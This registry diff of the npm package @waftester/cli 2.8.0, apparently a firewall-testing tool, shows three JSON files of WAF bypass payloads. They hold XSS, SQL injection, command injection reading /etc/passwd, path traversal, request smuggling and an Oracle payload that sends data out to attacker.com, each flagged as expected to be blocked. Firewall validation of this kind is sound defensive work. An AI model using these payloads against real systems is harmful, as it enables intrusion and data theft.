@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,220 @@
1
+ [
2
+ {
3
+ "id": "MODSEC-XSS-001",
4
+ "payload": "<scr<script>ipt>alert(1)</scr</script>ipt>",
5
+ "tags": ["modsecurity", "nested", "xss"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "ModSecurity double-tag bypass attempt - nested script tags",
9
+ "category": "WAF-Bypass"
10
+ },
11
+ {
12
+ "id": "MODSEC-XSS-002",
13
+ "payload": "<svg/onload=alert(1)//",
14
+ "tags": ["modsecurity", "svg", "comment", "xss"],
15
+ "expected_block": true,
16
+ "severity_hint": "Critical",
17
+ "notes": "SVG with JS comment - sometimes bypasses tag detection",
18
+ "category": "WAF-Bypass"
19
+ },
20
+ {
21
+ "id": "MODSEC-XSS-003",
22
+ "payload": "<img src=1 onerror =alert(1)>",
23
+ "tags": ["modsecurity", "whitespace", "xss"],
24
+ "expected_block": true,
25
+ "severity_hint": "Critical",
26
+ "notes": "Extra whitespace before = in event handler",
27
+ "category": "WAF-Bypass"
28
+ },
29
+ {
30
+ "id": "MODSEC-XSS-004",
31
+ "payload": "<img/src=1/onerror=alert(1)>",
32
+ "tags": ["modsecurity", "slash", "xss"],
33
+ "expected_block": true,
34
+ "severity_hint": "Critical",
35
+ "notes": "Slash instead of space as attribute separator",
36
+ "category": "WAF-Bypass"
37
+ },
38
+ {
39
+ "id": "MODSEC-XSS-005",
40
+ "payload": "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
41
+ "tags": ["modsecurity", "animate", "svg", "xss"],
42
+ "expected_block": true,
43
+ "severity_hint": "Critical",
44
+ "notes": "SVG animate tag - less commonly blocked",
45
+ "category": "WAF-Bypass"
46
+ },
47
+ {
48
+ "id": "MODSEC-XSS-006",
49
+ "payload": "<svg><set onbegin=alert(1) attributeName=x to=1>",
50
+ "tags": ["modsecurity", "set", "svg", "xss"],
51
+ "expected_block": true,
52
+ "severity_hint": "Critical",
53
+ "notes": "SVG set tag with onbegin",
54
+ "category": "WAF-Bypass"
55
+ },
56
+ {
57
+ "id": "MODSEC-XSS-007",
58
+ "payload": "<math><maction actiontype=statusline#http://google.com xlink:href=javascript:alert(1)>CLICKME",
59
+ "tags": ["modsecurity", "mathml", "xss"],
60
+ "expected_block": true,
61
+ "severity_hint": "Critical",
62
+ "notes": "MathML bypass - rarely in CRS rules",
63
+ "category": "WAF-Bypass"
64
+ },
65
+ {
66
+ "id": "MODSEC-SQL-001",
67
+ "payload": "1'--/**/",
68
+ "tags": ["modsecurity", "comment", "sqli"],
69
+ "expected_block": true,
70
+ "severity_hint": "Critical",
71
+ "notes": "Mixed comment style bypass",
72
+ "category": "WAF-Bypass"
73
+ },
74
+ {
75
+ "id": "MODSEC-SQL-002",
76
+ "payload": "1'#/**/",
77
+ "tags": ["modsecurity", "hash-comment", "sqli"],
78
+ "expected_block": true,
79
+ "severity_hint": "Critical",
80
+ "notes": "MySQL hash comment with inline comment",
81
+ "category": "WAF-Bypass"
82
+ },
83
+ {
84
+ "id": "MODSEC-SQL-003",
85
+ "payload": "1' OR '1'='1'/*",
86
+ "tags": ["modsecurity", "trailing-comment", "sqli"],
87
+ "expected_block": true,
88
+ "severity_hint": "Critical",
89
+ "notes": "Trailing inline comment bypass",
90
+ "category": "WAF-Bypass"
91
+ },
92
+ {
93
+ "id": "MODSEC-SQL-004",
94
+ "payload": "1'/**/OR/**/1=1--",
95
+ "tags": ["modsecurity", "space-bypass", "sqli"],
96
+ "expected_block": true,
97
+ "severity_hint": "Critical",
98
+ "notes": "Inline comments as space replacement",
99
+ "category": "WAF-Bypass"
100
+ },
101
+ {
102
+ "id": "MODSEC-SQL-005",
103
+ "payload": "1'%00OR 1=1--",
104
+ "tags": ["modsecurity", "null-byte", "sqli"],
105
+ "expected_block": true,
106
+ "severity_hint": "Critical",
107
+ "notes": "Null byte injection before keyword",
108
+ "category": "WAF-Bypass"
109
+ },
110
+ {
111
+ "id": "MODSEC-RCE-001",
112
+ "payload": "| c'a't /etc/passwd",
113
+ "tags": ["modsecurity", "quote-break", "rce"],
114
+ "expected_block": true,
115
+ "severity_hint": "Critical",
116
+ "notes": "Quote insertion to break command detection",
117
+ "category": "WAF-Bypass"
118
+ },
119
+ {
120
+ "id": "MODSEC-RCE-002",
121
+ "payload": "| c\"a\"t /etc/passwd",
122
+ "tags": ["modsecurity", "double-quote", "rce"],
123
+ "expected_block": true,
124
+ "severity_hint": "Critical",
125
+ "notes": "Double quote insertion bypass",
126
+ "category": "WAF-Bypass"
127
+ },
128
+ {
129
+ "id": "MODSEC-RCE-003",
130
+ "payload": "| c\\at /etc/passwd",
131
+ "tags": ["modsecurity", "backslash", "rce"],
132
+ "expected_block": true,
133
+ "severity_hint": "Critical",
134
+ "notes": "Backslash in command name",
135
+ "category": "WAF-Bypass"
136
+ },
137
+ {
138
+ "id": "MODSEC-RCE-004",
139
+ "payload": "| $PATH:0:1}etc${PATH:0:1}passwd",
140
+ "tags": ["modsecurity", "variable-slice", "rce"],
141
+ "expected_block": true,
142
+ "severity_hint": "Critical",
143
+ "notes": "Variable slicing for slash character",
144
+ "category": "WAF-Bypass"
145
+ },
146
+ {
147
+ "id": "MODSEC-RCE-005",
148
+ "payload": "| rev<<<'dwssap/cte/ tac'",
149
+ "tags": ["modsecurity", "reverse", "rce"],
150
+ "expected_block": true,
151
+ "severity_hint": "Critical",
152
+ "notes": "Reverse command bypass",
153
+ "category": "WAF-Bypass"
154
+ },
155
+ {
156
+ "id": "MODSEC-PATH-001",
157
+ "payload": "..././..././..././etc/passwd",
158
+ "tags": ["modsecurity", "traversal", "double"],
159
+ "expected_block": true,
160
+ "severity_hint": "High",
161
+ "notes": "Double dot-slash to survive strip",
162
+ "category": "WAF-Bypass"
163
+ },
164
+ {
165
+ "id": "MODSEC-PATH-002",
166
+ "payload": "....//....//....//etc/passwd",
167
+ "tags": ["modsecurity", "traversal", "multi-slash"],
168
+ "expected_block": true,
169
+ "severity_hint": "High",
170
+ "notes": "Multiple dots with double slash",
171
+ "category": "WAF-Bypass"
172
+ },
173
+ {
174
+ "id": "MODSEC-PATH-003",
175
+ "payload": "%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd",
176
+ "tags": ["modsecurity", "traversal", "double-encode"],
177
+ "expected_block": true,
178
+ "severity_hint": "High",
179
+ "notes": "Double URL encoded path traversal",
180
+ "category": "WAF-Bypass"
181
+ },
182
+ {
183
+ "id": "MODSEC-PATH-004",
184
+ "payload": "%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc/passwd",
185
+ "tags": ["modsecurity", "traversal", "overlong-utf8"],
186
+ "expected_block": true,
187
+ "severity_hint": "High",
188
+ "notes": "Overlong UTF-8 encoding bypass",
189
+ "category": "WAF-Bypass"
190
+ },
191
+ {
192
+ "id": "MODSEC-PATH-005",
193
+ "payload": "..%00/..%00/..%00/etc/passwd",
194
+ "tags": ["modsecurity", "traversal", "null-byte"],
195
+ "expected_block": true,
196
+ "severity_hint": "High",
197
+ "notes": "Null bytes in path traversal",
198
+ "category": "WAF-Bypass"
199
+ },
200
+ {
201
+ "id": "CRS-BYPASS-001",
202
+ "payload": "JavaScript://%250Aalert?.(1)//'/*\\'/*\"/*\\\"/*`/*\\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\\76-->",
203
+ "tags": ["crs", "polyglot", "ultimate", "xss"],
204
+ "expected_block": true,
205
+ "severity_hint": "Critical",
206
+ "notes": "Ultimate XSS polyglot from PayloadsAllTheThings - tests many contexts",
207
+ "category": "WAF-Bypass",
208
+ "source": "PayloadsAllTheThings"
209
+ },
210
+ {
211
+ "id": "CRS-BYPASS-002",
212
+ "payload": "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or \"*/",
213
+ "tags": ["crs", "polyglot", "timing", "sqli"],
214
+ "expected_block": true,
215
+ "severity_hint": "Critical",
216
+ "notes": "SQL timing polyglot - works across quote contexts",
217
+ "category": "WAF-Bypass",
218
+ "source": "PayloadsAllTheThings"
219
+ }
220
+ ]
@@ -0,0 +1,101 @@
1
+ [
2
+ {
3
+ "id": "SMUG-CLTE-001",
4
+ "payload": "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGPOST /admin",
5
+ "category": "Protocol",
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "tags": ["smuggling", "cl-te", "desync"],
9
+ "notes": "CL.TE request smuggling - frontend uses CL, backend uses TE"
10
+ },
11
+ {
12
+ "id": "SMUG-CLTE-002",
13
+ "payload": "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX",
14
+ "category": "Protocol",
15
+ "expected_block": true,
16
+ "severity_hint": "Critical",
17
+ "tags": ["smuggling", "cl-te"],
18
+ "notes": "Minimal CL.TE smuggling probe for desync detection"
19
+ },
20
+ {
21
+ "id": "SMUG-TECL-001",
22
+ "payload": "POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n",
23
+ "category": "Protocol",
24
+ "expected_block": true,
25
+ "severity_hint": "Critical",
26
+ "tags": ["smuggling", "te-cl", "desync"],
27
+ "notes": "TE.CL request smuggling - frontend uses TE, backend uses CL"
28
+ },
29
+ {
30
+ "id": "SMUG-TETE-001",
31
+ "payload": "POST / HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\n\r\n5\r\nHello\r\n0\r\n\r\n",
32
+ "category": "Protocol",
33
+ "expected_block": true,
34
+ "severity_hint": "Critical",
35
+ "tags": ["smuggling", "te-te"],
36
+ "notes": "TE.TE with duplicate headers - different server interpretations"
37
+ },
38
+ {
39
+ "id": "HEADER-INJECT-001",
40
+ "payload": "X-Forwarded-For: 127.0.0.1\r\nX-Real-IP: 127.0.0.1",
41
+ "category": "Protocol",
42
+ "expected_block": true,
43
+ "severity_hint": "High",
44
+ "tags": ["header", "ip-spoofing"],
45
+ "notes": "IP spoofing via X-Forwarded-For"
46
+ },
47
+ {
48
+ "id": "HEADER-INJECT-002",
49
+ "payload": "X-Forwarded-Host: evil.com",
50
+ "category": "Protocol",
51
+ "expected_block": true,
52
+ "severity_hint": "High",
53
+ "tags": ["header", "host-header"],
54
+ "notes": "Host header injection for cache poisoning and password reset attacks"
55
+ },
56
+ {
57
+ "id": "PROTO-CRLF-001",
58
+ "payload": "value%0d%0aX-Injected: malicious",
59
+ "category": "Protocol",
60
+ "expected_block": true,
61
+ "severity_hint": "Critical",
62
+ "tags": ["crlf", "header-injection"],
63
+ "notes": "CRLF injection to inject arbitrary HTTP headers"
64
+ },
65
+ {
66
+ "id": "WS-UPGRADE-001",
67
+ "payload": "GET /ws HTTP/1.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==",
68
+ "category": "Protocol",
69
+ "expected_block": false,
70
+ "severity_hint": "Medium",
71
+ "tags": ["websocket", "upgrade"],
72
+ "notes": "Legitimate WebSocket upgrade - test WAF handling"
73
+ },
74
+ {
75
+ "id": "WS-SMUGGLE-001",
76
+ "payload": "GET /socket HTTP/1.1\r\nUpgrade: websocket\r\nConnection: keep-alive, Upgrade",
77
+ "category": "Protocol",
78
+ "expected_block": true,
79
+ "severity_hint": "High",
80
+ "tags": ["websocket", "smuggling"],
81
+ "notes": "WebSocket connection smuggling attempt"
82
+ },
83
+ {
84
+ "id": "METHOD-OVERRIDE-001",
85
+ "payload": "X-HTTP-Method-Override: DELETE",
86
+ "category": "Protocol",
87
+ "expected_block": true,
88
+ "severity_hint": "High",
89
+ "tags": ["method-override", "header"],
90
+ "notes": "HTTP method override via X-HTTP-Method-Override header to bypass access controls"
91
+ },
92
+ {
93
+ "id": "METHOD-OVERRIDE-002",
94
+ "payload": "_method=DELETE",
95
+ "category": "Protocol",
96
+ "expected_block": true,
97
+ "severity_hint": "High",
98
+ "tags": ["method-override", "parameter"],
99
+ "notes": "Rails/Laravel-style _method parameter to override HTTP verb"
100
+ }
101
+ ]
@@ -0,0 +1,252 @@
1
+ [
2
+ {
3
+ "id": "TAMP-SQL-001",
4
+ "payload": "1'%09AND%091=1--",
5
+ "tags": ["tamper", "whitespace", "tab", "sqli"],
6
+ "expected_block": true,
7
+ "severity_hint": "Critical",
8
+ "notes": "SQLmap space2tab - replaces spaces with tabs",
9
+ "category": "WAF-Bypass",
10
+ "source": "SQLmap/tamper"
11
+ },
12
+ {
13
+ "id": "TAMP-SQL-002",
14
+ "payload": "1'%0AAND%0A1=1--",
15
+ "tags": ["tamper", "whitespace", "newline", "sqli"],
16
+ "expected_block": true,
17
+ "severity_hint": "Critical",
18
+ "notes": "SQLmap space2newline - replaces spaces with newlines",
19
+ "category": "WAF-Bypass",
20
+ "source": "SQLmap/tamper"
21
+ },
22
+ {
23
+ "id": "TAMP-SQL-003",
24
+ "payload": "1'%0BAND%0B1=1--",
25
+ "tags": ["tamper", "whitespace", "vertical-tab", "sqli"],
26
+ "expected_block": true,
27
+ "severity_hint": "Critical",
28
+ "notes": "Vertical tab as whitespace bypass",
29
+ "category": "WAF-Bypass",
30
+ "source": "SQLmap/tamper"
31
+ },
32
+ {
33
+ "id": "TAMP-SQL-004",
34
+ "payload": "1'%0CAND%0C1=1--",
35
+ "tags": ["tamper", "whitespace", "form-feed", "sqli"],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "Form feed as whitespace bypass",
39
+ "category": "WAF-Bypass",
40
+ "source": "SQLmap/tamper"
41
+ },
42
+ {
43
+ "id": "TAMP-SQL-005",
44
+ "payload": "1'%0DAND%0D1=1--",
45
+ "tags": ["tamper", "whitespace", "carriage-return", "sqli"],
46
+ "expected_block": true,
47
+ "severity_hint": "Critical",
48
+ "notes": "Carriage return as whitespace bypass",
49
+ "category": "WAF-Bypass",
50
+ "source": "SQLmap/tamper"
51
+ },
52
+ {
53
+ "id": "TAMP-SQL-006",
54
+ "payload": "1'%A0AND%A01=1--",
55
+ "tags": ["tamper", "whitespace", "nbsp", "sqli"],
56
+ "expected_block": true,
57
+ "severity_hint": "Critical",
58
+ "notes": "Non-breaking space as whitespace bypass",
59
+ "category": "WAF-Bypass",
60
+ "source": "SQLmap/tamper"
61
+ },
62
+ {
63
+ "id": "TAMP-SQL-007",
64
+ "payload": "1'/**/AND/**/1=1--",
65
+ "tags": ["tamper", "comment", "inline", "sqli"],
66
+ "expected_block": true,
67
+ "severity_hint": "Critical",
68
+ "notes": "SQLmap space2comment - replaces spaces with inline comments",
69
+ "category": "WAF-Bypass",
70
+ "source": "SQLmap/tamper"
71
+ },
72
+ {
73
+ "id": "TAMP-SQL-008",
74
+ "payload": "1'/*random*/AND/*text*/1=1--",
75
+ "tags": ["tamper", "comment", "random", "sqli"],
76
+ "expected_block": true,
77
+ "severity_hint": "Critical",
78
+ "notes": "SQLmap randomcomments - random text in comments",
79
+ "category": "WAF-Bypass",
80
+ "source": "SQLmap/tamper"
81
+ },
82
+ {
83
+ "id": "TAMP-SQL-009",
84
+ "payload": "1'/*!12345AND*/1=1--",
85
+ "tags": ["tamper", "comment", "conditional", "mysql", "sqli"],
86
+ "expected_block": true,
87
+ "severity_hint": "Critical",
88
+ "notes": "MySQL conditional comment bypass (version >= 1.2.3.45)",
89
+ "category": "WAF-Bypass",
90
+ "source": "PayloadsAllTheThings"
91
+ },
92
+ {
93
+ "id": "TAMP-SQL-010",
94
+ "payload": "1'/*!50000AND*/1=1--",
95
+ "tags": ["tamper", "comment", "conditional", "mysql", "sqli"],
96
+ "expected_block": true,
97
+ "severity_hint": "Critical",
98
+ "notes": "MySQL 5.0+ conditional comment bypass",
99
+ "category": "WAF-Bypass",
100
+ "source": "PayloadsAllTheThings"
101
+ },
102
+ {
103
+ "id": "TAMP-SQL-011",
104
+ "payload": "(1)and(1)=(1)--",
105
+ "tags": ["tamper", "parenthesis", "no-space", "sqli"],
106
+ "expected_block": true,
107
+ "severity_hint": "Critical",
108
+ "notes": "Parenthesis bypass - no spaces needed",
109
+ "category": "WAF-Bypass",
110
+ "source": "PayloadsAllTheThings"
111
+ },
112
+ {
113
+ "id": "TAMP-SQL-012",
114
+ "payload": "1'%252f%252a*/AND%252f%252a*/1=1--",
115
+ "tags": ["tamper", "double-encode", "comment", "sqli"],
116
+ "expected_block": true,
117
+ "severity_hint": "Critical",
118
+ "notes": "Double URL encoding of comment markers",
119
+ "category": "WAF-Bypass",
120
+ "source": "SQLmap/tamper"
121
+ },
122
+ {
123
+ "id": "TAMP-SQL-013",
124
+ "payload": "%53%45%4C%45%43%54 1",
125
+ "tags": ["tamper", "url-encode", "full", "sqli"],
126
+ "expected_block": true,
127
+ "severity_hint": "Critical",
128
+ "notes": "SQLmap charencode - full URL encoding of SELECT",
129
+ "category": "WAF-Bypass",
130
+ "source": "SQLmap/tamper"
131
+ },
132
+ {
133
+ "id": "TAMP-SQL-014",
134
+ "payload": "%u0053%u0045%u004C%u0045%u0043%u0054 1",
135
+ "tags": ["tamper", "unicode-encode", "iis", "sqli"],
136
+ "expected_block": true,
137
+ "severity_hint": "Critical",
138
+ "notes": "SQLmap charunicodeescape - IIS Unicode encoding",
139
+ "category": "WAF-Bypass",
140
+ "source": "SQLmap/tamper"
141
+ },
142
+ {
143
+ "id": "TAMP-SQL-015",
144
+ "payload": "1' AnD 1=1--",
145
+ "tags": ["tamper", "case", "random", "sqli"],
146
+ "expected_block": true,
147
+ "severity_hint": "High",
148
+ "notes": "SQLmap randomcase - mixed case keywords",
149
+ "category": "WAF-Bypass",
150
+ "source": "SQLmap/tamper"
151
+ },
152
+ {
153
+ "id": "TAMP-SQL-016",
154
+ "payload": "1' %00AND 1=1--",
155
+ "tags": ["tamper", "null-byte", "sqli"],
156
+ "expected_block": true,
157
+ "severity_hint": "Critical",
158
+ "notes": "Null byte insertion between keywords",
159
+ "category": "WAF-Bypass",
160
+ "source": "SQLmap/tamper"
161
+ },
162
+ {
163
+ "id": "TAMP-SQL-017",
164
+ "payload": "CONCAT(CHAR(83),CHAR(69),CHAR(76),CHAR(69),CHAR(67),CHAR(84)) 1",
165
+ "tags": ["tamper", "char", "obfuscation", "sqli"],
166
+ "expected_block": true,
167
+ "severity_hint": "Critical",
168
+ "notes": "CHAR() function to spell keywords",
169
+ "category": "WAF-Bypass",
170
+ "source": "SQLmap/tamper"
171
+ },
172
+ {
173
+ "id": "TAMP-SQL-018",
174
+ "payload": "1'||UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT banner FROM v$version WHERE ROWNUM=1))--",
175
+ "tags": ["tamper", "oracle", "oob", "sqli"],
176
+ "expected_block": true,
177
+ "severity_hint": "Critical",
178
+ "notes": "Oracle out-of-band data exfiltration",
179
+ "category": "WAF-Bypass",
180
+ "source": "SecLists"
181
+ },
182
+ {
183
+ "id": "TAMP-SQL-019",
184
+ "payload": "1.e(ascii(1.e(substring(1.e(select user())1.e,1 1.e,1 1.e)1.e)1.e) = 70",
185
+ "tags": ["tamper", "scientific-notation", "mysql", "sqli"],
186
+ "expected_block": true,
187
+ "severity_hint": "Critical",
188
+ "notes": "MySQL scientific notation obfuscation",
189
+ "category": "WAF-Bypass",
190
+ "source": "PayloadsAllTheThings"
191
+ },
192
+ {
193
+ "id": "TAMP-SQL-020",
194
+ "payload": "1' AND 1 LIKE 1--",
195
+ "tags": ["tamper", "like", "equal-bypass", "sqli"],
196
+ "expected_block": true,
197
+ "severity_hint": "High",
198
+ "notes": "LIKE instead of = for equal bypass",
199
+ "category": "WAF-Bypass",
200
+ "source": "PayloadsAllTheThings"
201
+ },
202
+ {
203
+ "id": "TAMP-SQL-021",
204
+ "payload": "1' AND 1 REGEXP 1--",
205
+ "tags": ["tamper", "regexp", "equal-bypass", "sqli"],
206
+ "expected_block": true,
207
+ "severity_hint": "High",
208
+ "notes": "REGEXP instead of = for equal bypass",
209
+ "category": "WAF-Bypass",
210
+ "source": "PayloadsAllTheThings"
211
+ },
212
+ {
213
+ "id": "TAMP-SQL-022",
214
+ "payload": "1' AND 1 BETWEEN 0 AND 2--",
215
+ "tags": ["tamper", "between", "equal-bypass", "sqli"],
216
+ "expected_block": true,
217
+ "severity_hint": "High",
218
+ "notes": "BETWEEN instead of = for equal bypass",
219
+ "category": "WAF-Bypass",
220
+ "source": "PayloadsAllTheThings"
221
+ },
222
+ {
223
+ "id": "TAMP-SQL-023",
224
+ "payload": "1' && 1--",
225
+ "tags": ["tamper", "operator", "and-bypass", "sqli"],
226
+ "expected_block": true,
227
+ "severity_hint": "High",
228
+ "notes": "&& instead of AND",
229
+ "category": "WAF-Bypass",
230
+ "source": "PayloadsAllTheThings"
231
+ },
232
+ {
233
+ "id": "TAMP-SQL-024",
234
+ "payload": "1' || 1--",
235
+ "tags": ["tamper", "operator", "or-bypass", "sqli"],
236
+ "expected_block": true,
237
+ "severity_hint": "High",
238
+ "notes": "|| instead of OR",
239
+ "category": "WAF-Bypass",
240
+ "source": "PayloadsAllTheThings"
241
+ },
242
+ {
243
+ "id": "TAMP-SQL-025",
244
+ "payload": "LIMIT 1 OFFSET 0",
245
+ "tags": ["tamper", "limit", "comma-bypass", "sqli"],
246
+ "expected_block": true,
247
+ "severity_hint": "Medium",
248
+ "notes": "OFFSET instead of comma in LIMIT clause",
249
+ "category": "WAF-Bypass",
250
+ "source": "PayloadsAllTheThings"
251
+ }
252
